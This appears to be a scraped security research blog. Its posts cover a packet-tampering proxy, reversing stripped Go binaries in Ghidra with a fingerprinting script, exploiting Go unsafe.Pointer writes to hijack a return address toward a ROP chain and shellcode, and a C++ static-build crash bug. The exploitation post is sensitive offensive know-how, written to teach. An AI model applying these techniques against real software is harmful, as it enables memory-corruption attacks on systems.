center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRISkQV22TGub1osHmncs5YiX84JnrOmmY0RXEha4l2e83ChacqWGMqLK3ePn2MwqfZMNCTprfj3cjcZ4RTK_J7dh0PmhSDMhvCQzjIaHvqXsR3ZRFHxG_tEQmWtZvHH7yg9Ig/s502/help.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="166" data-original-width="502" height="165" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRISkQV22TGub1osHmncs5YiX84JnrOmmY0RXEha4l2e83ChacqWGMqLK3ePn2MwqfZMNCTprfj3cjcZ4RTK_J7dh0PmhSDMhvCQzjIaHvqXsR3ZRFHxG_tEQmWtZvHH7yg9Ig/w498-h165/help.png" width="498" /></a></div><br /><p>For example a script with a single line: "IN 3 20 3F" will write a 0x3f on the offset 20 only on the third packet received from the server. I have used this feature for triggering vulnerabilities.</p><p>Regarding the saving and loading data from disk, it's possible to save and load data in raw and hex formats. Also can be configured for save all the communications or only specific emission.</p><div class="separator" style="clear: both; text-align: center;"><br /></div>Find the source code and binaries at github: <a href="https://github.com/sha0coder/reproxy" target="_blank">https://github.com/sha0coder/reproxy</a><div><br /></div><div><br /></div><div><br /></div>Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-78648215377895771852020-08-01T14:37:00.005+02:002020-08-01T14:48:26.606+02:00introduction to reversing golang binaries<div><br /></div><div>Golang binaries are a bit hard to analyze but there are some tricks to locate the things and view what is doing the code.</div><div><br /></div><div><br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifbq1M-4Tl0Dsh-onaqRfqRxtytmB5zUGOYm3UKZDntsrE6SabNZgw4K637PyDliMYmhcolkqR0hOsM621oMpUUMkKO7GPSSdJiEdY32dvONgEM9Jfp07TNRPbapOEloDyVhYT/s330/golang.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="330" data-original-width="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifbq1M-4Tl0Dsh-onaqRfqRxtytmB5zUGOYm3UKZDntsrE6SabNZgw4K637PyDliMYmhcolkqR0hOsM621oMpUUMkKO7GPSSdJiEdY32dvONgEM9Jfp07TNRPbapOEloDyVhYT/s0/golang.png" /></a></div><div><br /></div><div><br /></div><div><br /></div><div>Is possible to list all the go files compiled in the binary even in an striped binaries, in this case we have only one file <i>gohello.go</i> this is a good clue to guess what is doing the program.<br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKCGfsB2hPprDHjLRpxFTAzKvKcrTI8ttzbhXUQSZDBaHaMlo7yyfRxsMngFc2ShsChf4NeajfNa_Nhv1CEOveaDwzwyG4uX4JldDC-oojI98Gf0Vten6EXBjP6-uAM_f6EkmS/s761/home.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="303" data-original-width="761" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKCGfsB2hPprDHjLRpxFTAzKvKcrTI8ttzbhXUQSZDBaHaMlo7yyfRxsMngFc2ShsChf4NeajfNa_Nhv1CEOveaDwzwyG4uX4JldDC-oojI98Gf0Vten6EXBjP6-uAM_f6EkmS/s640/home.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">On stripped binaries the runtime functions are not resolved so is more difficult to locate the user algorithms:<br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgngEPLVx4IScFm2bGwn0gIRJ-f5Qvk__HYuUMN6cl8iz82JhbizD4ya5o2wmPQUff6571y1A29qhpmujiNPW-zbuS5dZ7gyun_LXrgDWU2ZNUs5Sd2AbLOjW3ZoPqM0lVkz8pM/s303/stripped.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="289" data-original-width="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgngEPLVx4IScFm2bGwn0gIRJ-f5Qvk__HYuUMN6cl8iz82JhbizD4ya5o2wmPQUff6571y1A29qhpmujiNPW-zbuS5dZ7gyun_LXrgDWU2ZNUs5Sd2AbLOjW3ZoPqM0lVkz8pM/s0/stripped.png" /></a></div><div><br /></div><div>If we start from the entry point, we will found this mess:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhETJCkb6ILwKgjVnvtVcflV0NBxwIIPnkuFw5ZlrywPTV8aeh2ggvnfsKXYlj2SBQDtqtMGkSQqdCXKnZ0Ltifw-2ISxxXp3_428jnaKNN6Dy_jU-md8LzHRPvSJjUKdDJuvC7/s725/entry_mess.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="725" data-original-width="725" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhETJCkb6ILwKgjVnvtVcflV0NBxwIIPnkuFw5ZlrywPTV8aeh2ggvnfsKXYlj2SBQDtqtMGkSQqdCXKnZ0Ltifw-2ISxxXp3_428jnaKNN6Dy_jU-md8LzHRPvSJjUKdDJuvC7/s640/entry_mess.png" /></a></div><div>The golang string initialization are encoded and is not displayed on the strings window.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioWKZjdpQiW-zLR27mTa0E06-QqIe-TRUnA6Inp4LWmjafHGmu7t_ow2ckD5Iahp3wzVb5uYSo41-p2q5U_nlZ5L1Su5wA3KY7SecJkBVTq_LMfDFH6lV4O1v_f3Yt8_-YcFW9/s727/nostrings.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="267" data-original-width="727" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioWKZjdpQiW-zLR27mTa0E06-QqIe-TRUnA6Inp4LWmjafHGmu7t_ow2ckD5Iahp3wzVb5uYSo41-p2q5U_nlZ5L1Su5wA3KY7SecJkBVTq_LMfDFH6lV4O1v_f3Yt8_-YcFW9/s640/nostrings.png" width="640" /></a></div><div><br /></div><div>How to locate main? if its not stripped just <i>bp</i> on [package name].main for example <i>bp main.main</i>, (you can locate the package-name searching strings with ".main")</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK4tpgPmKsloqIA2eWuq0dGthEelmIQ5HaRZW36FhiJyWN8WwxCKOV10pIDObgnDQsDVCYUwsT4LPwqXM-aE6bynXJOsYlRFvlQV9J3nOApQelTRPNz-yWq8iZtcEJlY04YAtN/s596/locatemainsyms.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="63" data-original-width="596" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK4tpgPmKsloqIA2eWuq0dGthEelmIQ5HaRZW36FhiJyWN8WwxCKOV10pIDObgnDQsDVCYUwsT4LPwqXM-aE6bynXJOsYlRFvlQV9J3nOApQelTRPNz-yWq8iZtcEJlY04YAtN/s0/locatemainsyms.png" /></a></div><div><br /></div><div>And here is our main.main:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgag_5O7t4l9ToLpwSshuKtNlk-h_Z4afgYHhhCyubsS2X3O3XRR55aXwYtEmHRKT9pOTMw-iWoml89HhW65g9L49E65LwChmuOkFNpHUxU5_RT8OxX0DAcMRqmDXqBO2iLjJWK/s754/main.main.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="496" data-original-width="754" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgag_5O7t4l9ToLpwSshuKtNlk-h_Z4afgYHhhCyubsS2X3O3XRR55aXwYtEmHRKT9pOTMw-iWoml89HhW65g9L49E65LwChmuOkFNpHUxU5_RT8OxX0DAcMRqmDXqBO2iLjJWK/s640/main.main.png" width="640" /></a></div><div><br /></div><div>The code is:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz68jzJSuVR3h4R3qrZ3_V2zWCXuRQDIa9gedaSBlvMvxGzsNAzvlS71UyyFY_X5Kcs7egx-KlhjbD2V1tIQPDSz0kHSY1mlKiQT_x7z_z0xgBNe8RTKrT_gYyZRMXKGINQGAz/s479/code.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="358" data-original-width="479" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz68jzJSuVR3h4R3qrZ3_V2zWCXuRQDIa9gedaSBlvMvxGzsNAzvlS71UyyFY_X5Kcs7egx-KlhjbD2V1tIQPDSz0kHSY1mlKiQT_x7z_z0xgBNe8RTKrT_gYyZRMXKGINQGAz/s0/code.png" /></a></div><div><br /></div><div>So in a stripped binary we cant find the string "hello world" neither the initialization 0x1337 nor the comparator 0x1337, all this is obfuscated.</div><div><br /></div><div>The initialization sequence is:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1bKxr7h-djM957psaqKMyY8YSCOh-aumu3Pp6caeESQjkPIcS5sccqjGPfw4Xr3VQr66kLKKcbizjh9oK2nnrzzisEgPf625oPG_eT48r6ZxsC1impTzwywR90fwifzeE1vYA/s327/sequence.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="327" data-original-width="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1bKxr7h-djM957psaqKMyY8YSCOh-aumu3Pp6caeESQjkPIcS5sccqjGPfw4Xr3VQr66kLKKcbizjh9oK2nnrzzisEgPf625oPG_eT48r6ZxsC1impTzwywR90fwifzeE1vYA/s0/sequence.png" /></a></div><div><br /></div><div>The procedure for locating main.main in stripped binaries is:</div><div>1. Click on the entry point and locate the runtime.mainPC pointer:<br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVETxxbw70fI2xrVL_5VPZnMQBzBuYE_u6ObNm027sbWI-jcOD4Xcc9c6ff-yzftYB9e-Mep3SJ9LkSJgTicP7lqxuBOgrbRpBIxBmhSY6XBtuPeCauMGfpxsGYEe5T7drwXMF/s151/entry.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="45" data-original-width="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVETxxbw70fI2xrVL_5VPZnMQBzBuYE_u6ObNm027sbWI-jcOD4Xcc9c6ff-yzftYB9e-Mep3SJ9LkSJgTicP7lqxuBOgrbRpBIxBmhSY6XBtuPeCauMGfpxsGYEe5T7drwXMF/s0/entry.png" /></a></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWKLBvEVXpXgpvn1_jtiz8NdUhUb-3fKa333mqmirnInsEyKza-0k6kL0WlJhalx2Sa5-tr0bkdHWMAh_K1zKFioqYnq165DbK7mSSjzO3Kx01KB5S3sQfeQM92Iwshfqqo4qy/s458/inentry.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="380" data-original-width="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWKLBvEVXpXgpvn1_jtiz8NdUhUb-3fKa333mqmirnInsEyKza-0k6kL0WlJhalx2Sa5-tr0bkdHWMAh_K1zKFioqYnq165DbK7mSSjzO3Kx01KB5S3sQfeQM92Iwshfqqo4qy/s0/inentry.png" /></a></div><div><br /></div><div>2. click on runtime.main function (LAB_0042B030):</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieCWKLDZ3ZJO4M4aZ6TjjcxmfB2VwsYvMkFv0IKnn34zCnQsd0uh4knm3iOQZIgNjDsLDoUNmhtmqk9FcFfOl0D0Cf94X8fmss-SjBUuSMb6W4SXbl_ol6xWywxFKkpsI8IH_V/s452/runtimemain.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="140" data-original-width="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEieCWKLDZ3ZJO4M4aZ6TjjcxmfB2VwsYvMkFv0IKnn34zCnQsd0uh4knm3iOQZIgNjDsLDoUNmhtmqk9FcFfOl0D0Cf94X8fmss-SjBUuSMb6W4SXbl_ol6xWywxFKkpsI8IH_V/s0/runtimemain.png" /></a></div><div><br /></div><div>3. locate the main.main call after the zero ifs:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ezkimwTTJ5znW8cL3DSHPMKg9uYP80Q9m3Qzld4_QUTlsS5I4D7anWoKCejw9LYuTj1AtbMIiMgK5Edb-9BXnO04r2u3mjWIRVMdedAb63U2cZI7xpVhqz5ouYlhau80a59g/s562/callmainmain.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="322" data-original-width="562" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8ezkimwTTJ5znW8cL3DSHPMKg9uYP80Q9m3Qzld4_QUTlsS5I4D7anWoKCejw9LYuTj1AtbMIiMgK5Edb-9BXnO04r2u3mjWIRVMdedAb63U2cZI7xpVhqz5ouYlhau80a59g/s0/callmainmain.png" /></a></div><div><br /></div><div><br /></div><div>4. click on it and here is the main:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWXJFqOUOrS66_vYkrLsvijn41ySgB7aoflOgQVX661KG0m8oT81EY2ds9AdJERiU9Lab7Gx15QsqfYa9cxchYwQQW3YwUoDgRY-U9Gkbj1XXgHgtRKxiBo6kQQFrLscBaPVer/s545/strippedmainmain.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="345" data-original-width="545" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWXJFqOUOrS66_vYkrLsvijn41ySgB7aoflOgQVX661KG0m8oT81EY2ds9AdJERiU9Lab7Gx15QsqfYa9cxchYwQQW3YwUoDgRY-U9Gkbj1XXgHgtRKxiBo6kQQFrLscBaPVer/s0/strippedmainmain.png" /></a></div><div><br /></div><div><br /></div><div></div><div><br /></div><div>The runtime is not obvious for example the fmt.Scanf() call perform several internal calls until reach the syscall, and in a stripped binary there are no function names.<br /></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEGNxICPgaB6uYWWuJP5gq61U7mXP4KiWQJibcuxdFJ_QiSbgMHvrYzJSK_DTBuR5Pa7z8rH2Kmd5AAubo0KPW9ZiOD64P1awQ1hW_bL-Okeed6uKYSsGK83uXCdTUH0ApoWIU/s1265/scanfbacktrace.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="403" data-original-width="1265" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEGNxICPgaB6uYWWuJP5gq61U7mXP4KiWQJibcuxdFJ_QiSbgMHvrYzJSK_DTBuR5Pa7z8rH2Kmd5AAubo0KPW9ZiOD64P1awQ1hW_bL-Okeed6uKYSsGK83uXCdTUH0ApoWIU/w640-h204/scanfbacktrace.png" width="640" /></a></div><div><br /></div><div><br /></div><div>In order to identify the functions one option is compile another binary with symbols and make function fingerprinting.</div><div><br /></div><div>In <i>Ghidra</i> we have the script golang_renamer.py which is very useful:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiugN4vVY3Xmf9fExfOxWqQsB6AKb5G9_EpFmUyMoELNxCvzd5GBdzlwTX6ODivCiZUAF8bWreONJRyBuWtimeiHcAW3YSgtaJOECdkkH1gn4jAelZZiAMJQ9WJXi8NxWyyg-oV/s1024/golang_plugin.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="79" data-original-width="1024" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiugN4vVY3Xmf9fExfOxWqQsB6AKb5G9_EpFmUyMoELNxCvzd5GBdzlwTX6ODivCiZUAF8bWreONJRyBuWtimeiHcAW3YSgtaJOECdkkH1gn4jAelZZiAMJQ9WJXi8NxWyyg-oV/s640/golang_plugin.png" width="640" /></a></div><div><br /></div><div>After applying this plugin the main looks like more clear:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPkQqXEvKzXhB7AEbLKRJBq95jHeLwcqkpipk5nFlVEV-Mpoej3aH7e1Mljbg-ao0ClGLRupp7dwgphAgruxG_WmZ6FOyxEUm0iHkgqIeG_Ft6eO5euuPRRQ7pQiXBQk5lWFTs/s503/fingerprinted.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="350" data-original-width="503" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPkQqXEvKzXhB7AEbLKRJBq95jHeLwcqkpipk5nFlVEV-Mpoej3aH7e1Mljbg-ao0ClGLRupp7dwgphAgruxG_WmZ6FOyxEUm0iHkgqIeG_Ft6eO5euuPRRQ7pQiXBQk5lWFTs/s0/fingerprinted.png" /></a></div><div><br /></div><div><br /></div><div><br /></div><div>This script is an example of function fingerprinting, in this case all the opcodes are included on the crc hashing:</div><div><div style="background-color: #1e1e1e; color: #d4d4d4; font-family: "droid sans mono", "monospace", monospace, "droid sans fallback"; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: #6a9955;"># This script fingerprints the functions</span></div><div><span style="color: #6a9955;">#@author: sha0coder</span></div><div><span style="color: #6a9955;">#@category fingerprinting</span></div><br /><div><span style="color: #dcdcaa;">print</span><span style="color: #d4d4d4;"> </span><span style="color: #ce9178;">"Fingerprinting..."</span></div><br /><div><span style="color: #c586c0;">import</span><span style="color: #d4d4d4;"> zlib</span></div><br /><br /><div><span style="color: #6a9955;"># loop through program functions</span></div><div><span style="color: #d4d4d4;">function = getFirstFunction()</span></div><div><span style="color: #c586c0;">while</span><span style="color: #d4d4d4;"> function </span><span style="color: #569cd6;">is</span><span style="color: #d4d4d4;"> </span><span style="color: #569cd6;">not</span><span style="color: #d4d4d4;"> </span><span style="color: #569cd6;">None</span><span style="color: #d4d4d4;">:</span></div><div><span style="color: #d4d4d4;"> name = </span><span style="color: #4ec9b0;">str</span><span style="color: #d4d4d4;">(function.getName())</span></div><div><span style="color: #d4d4d4;"> entry = function.getEntryPoint()</span></div><div><span style="color: #d4d4d4;"> body = function.getBody()</span></div><div><span style="color: #d4d4d4;"> addresses = body.getAddresses(</span><span style="color: #569cd6;">True</span><span style="color: #d4d4d4;">)</span></div><br /><div><span style="color: #d4d4d4;"> </span><span style="color: #c586c0;">if</span><span style="color: #d4d4d4;"> </span><span style="color: #569cd6;">not</span><span style="color: #d4d4d4;"> addresses.hasNext():</span></div><div><span style="color: #d4d4d4;"> </span><span style="color: #6a9955;"># empty function</span></div><div><span style="color: #d4d4d4;"> </span><span style="color: #c586c0;">continue</span><span style="color: #d4d4d4;"> </span></div><br /><div><span style="color: #d4d4d4;"> ins = getInstructionAt(body.getMinAddress())</span></div><div><span style="color: #d4d4d4;"> opcodes = </span><span style="color: #ce9178;">''</span></div><div><span style="color: #d4d4d4;"> </span><span style="color: #c586c0;">while</span><span style="color: #d4d4d4;"> ins </span><span style="color: #569cd6;">and</span><span style="color: #d4d4d4;"> ins.getMinAddress() <= body.getMaxAddress():</span></div><div><span style="color: #d4d4d4;"> </span><span style="color: #c586c0;">for</span><span style="color: #d4d4d4;"> b </span><span style="color: #c586c0;">in</span><span style="color: #d4d4d4;"> ins.bytes:</span></div><div><span style="color: #d4d4d4;"> opcodes += </span><span style="color: #dcdcaa;">chr</span><span style="color: #d4d4d4;">(b & </span><span style="color: #569cd6;">0x</span><span style="color: #b5cea8;">ff</span><span style="color: #d4d4d4;">)</span></div><div><span style="color: #d4d4d4;"> ins = getInstructionAfter(ins)</span></div><div><span style="color: #d4d4d4;"> </span></div><div><span style="color: #d4d4d4;"> </span></div><div><span style="color: #d4d4d4;"> crchash = zlib.crc32(opcodes) & </span><span style="color: #569cd6;">0x</span><span style="color: #b5cea8;">ffffffff</span></div><br /><div><span style="color: #d4d4d4;"> </span><span style="color: #dcdcaa;">print</span><span style="color: #d4d4d4;"> name, </span><span style="color: #dcdcaa;">hex</span><span style="color: #d4d4d4;">(crchash)</span></div><br /><br /><div><span style="color: #d4d4d4;"> function = getFunctionAfter(function)</span></div></div></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div><div><br /></div>Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-15159529069822920732020-07-06T18:23:00.001+02:002020-07-06T18:36:08.859+02:00exploiting golang unsafe pointers<br />
There are situations when c interacts with golang for example in a library, and its possible to exploit a golang function writing raw memory using an unsafe.Pointer() parameter.<br />
<br />
When golang receive a null terminated string on a *C.Char parameter, can be converted to golang s tring with s2 := C.GoString(s1) we can do string operations with s2 safelly if the null byte is there.<br />
<br />
When golang receives a pointer to a buffer on an unsafe.Pointer() and the length of the buffer on a C.int, if the length is not cheated can be converted to a []byte safelly with b := C.GoBytes(buf,sz)<br />
<br />
Buuut what happens if golang receives a pointer to a buffer on an unsafe.Pointer() and is an OUT variable? the golang routine has to write on this pointer unsafelly for example we can create a golangs memcpy in the following way:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVvEAqpNUoRRx64EYBlYBNI4znr-LCGLrIIK9dDrAtbcVnGuI1EeujBEL0uLnl02tQE5jv8tT5C51Seu7xqH_kVVZOgTCLoY7BTTCrgiEHSnhftB90Qz9v37-8RmVrnFYRSxUC/s1600/memcpy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="110" data-original-width="594" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVvEAqpNUoRRx64EYBlYBNI4znr-LCGLrIIK9dDrAtbcVnGuI1EeujBEL0uLnl02tQE5jv8tT5C51Seu7xqH_kVVZOgTCLoY7BTTCrgiEHSnhftB90Qz9v37-8RmVrnFYRSxUC/s640/memcpy.png" width="640" /></a></div>
<br />
We convert to uintptr for indexing the pointer and then convert again to pointer casted to a byte pointer dereferenced and every byte is writed in this way.<br />
<br />
If b is controlled, the memory can be written and the return pointer of main.main or whatever function can be modified.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8oIYTLJW2yXv50rjypVzTpnIM2Y0vC6EAOfwru_uxHe3V7mqqyS8Ejki5sqeMLGTA4HJYvZnDb_j17r9mvSyLmCotOpDwB6xVR7SMNhb8TZqMruT9aPZ3VfIRALtBkxBAdqR_/s1600/playgraund.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="942" data-original-width="1009" height="597" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8oIYTLJW2yXv50rjypVzTpnIM2Y0vC6EAOfwru_uxHe3V7mqqyS8Ejki5sqeMLGTA4HJYvZnDb_j17r9mvSyLmCotOpDwB6xVR7SMNhb8TZqMruT9aPZ3VfIRALtBkxBAdqR_/s640/playgraund.png" width="640" /></a></div>
<div style="text-align: center;">
https://play.golang.org/p/HppcVpLfuMf</div>
<br />
<br />
The return addres can be pinpointed, for example 0x41 buffer 0x42 address:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaR7Mh7g2UbDXJcIIehuQVHCs6iMdkoLnZDIOtaberYAV6fHRdxGLaSnirG2lHBYoKMHWfQlQtYtCUQ8K9tD4kdajzIW13tocmxCytRjoPdQSmzSzogzU48oJnjlTWmq8hp-BP/s1600/bof.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="688" data-original-width="798" height="550" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaR7Mh7g2UbDXJcIIehuQVHCs6iMdkoLnZDIOtaberYAV6fHRdxGLaSnirG2lHBYoKMHWfQlQtYtCUQ8K9tD4kdajzIW13tocmxCytRjoPdQSmzSzogzU48oJnjlTWmq8hp-BP/s640/bof.png" width="640" /></a></div>
<br />
We can reproduce it simulating the buffer from golang in this way:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWTbUR5Kn7UpbR1jtwiv72N-mvYDY0S9LFOFAO7U-nIBcyW_Y6Kx3qdOpImPXsV5bcK2QaybBlaR9jUusqUJMjw5DNH920KKUbiJhXd0VDZ8Iymn0vGNMjMRX7GVxJYYBwrtqv/s1600/main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="232" data-original-width="323" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWTbUR5Kn7UpbR1jtwiv72N-mvYDY0S9LFOFAO7U-nIBcyW_Y6Kx3qdOpImPXsV5bcK2QaybBlaR9jUusqUJMjw5DNH920KKUbiJhXd0VDZ8Iymn0vGNMjMRX7GVxJYYBwrtqv/s400/main.png" width="400" /></a></div>
<br />
we can dump the address of a function and redirect the execution to it:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrZ41D2nFZ5w4Q2AmfStqBttgUQ2cWUnaRrL3Xq0RGpKM2lJAPnbi5XGIdwFtQBibYbIMVkiAMb3Q1nY4eZUdi110SFq5hDJe-ItlusvIIPl0VC-ejqETBFD8QUx2f6RbeMMC/s1600/redirect_loop.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="950" data-original-width="719" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrZ41D2nFZ5w4Q2AmfStqBttgUQ2cWUnaRrL3Xq0RGpKM2lJAPnbi5XGIdwFtQBibYbIMVkiAMb3Q1nY4eZUdi110SFq5hDJe-ItlusvIIPl0VC-ejqETBFD8QUx2f6RbeMMC/s1600/redirect_loop.png" /></a></div>
<br />
<div style="text-align: center;">
https://play.golang.org/p/7htJHJp8gUJ</div>
<br />
In this way it's possible to build a rop chain using golang runtime to unprotect a shellcode.<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-66522613902313464842020-04-01T15:27:00.000+02:002020-07-06T18:36:54.419+02:00c++ std::condition_variable null pointer derreference<br />
This story is about a bug generated by g++ and clang compilers (at least)<br />
The condition_variables is a feature on the standard library of c++ (libstdc++), when its compiled statically a weird asm code is generated.<br />
<br />
<br />
Any example on the link below will crash if its compiled statically:<br />
<a href="https://en.cppreference.com/w/cpp/thread/condition_variable">https://en.cppreference.com/w/cpp/thread/condition_variable</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU2vxCapvbx5St89Gaut6Ozf8Ctc_BS1yRfwc-aTS_SsmSnSyQ9kyiTAwM5o_Uw4_S2DF4m2Q1yzjVzQMVCW7wjGHuFK5tFBxuvLKiRv1uyDVVCEQhyphenhyphenV5NkoeW-xsRlFApJOsD/s1600/gdb0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="386" data-original-width="959" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiU2vxCapvbx5St89Gaut6Ozf8Ctc_BS1yRfwc-aTS_SsmSnSyQ9kyiTAwM5o_Uw4_S2DF4m2Q1yzjVzQMVCW7wjGHuFK5tFBxuvLKiRv1uyDVVCEQhyphenhyphenV5NkoeW-xsRlFApJOsD/s640/gdb0.png" width="640" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
In this case the condition_variable.wait() crashed, but this happens with other methods, a simple way to trigger it:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj-1g8u-9iaZQuCLY3oh6r6gTdNMmNt6hv3OLeIfqZex8O3xxGqi1irtH4myXMOON6ns0EL90K-2bcyZcB3RocMomMNInm3uN7wPZyAUicvoJv7htIlePgfXgl-RETVNGHoCvp/s1600/basic_trigger.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="277" data-original-width="361" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhj-1g8u-9iaZQuCLY3oh6r6gTdNMmNt6hv3OLeIfqZex8O3xxGqi1irtH4myXMOON6ns0EL90K-2bcyZcB3RocMomMNInm3uN7wPZyAUicvoJv7htIlePgfXgl-RETVNGHoCvp/s400/basic_trigger.png" width="400" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
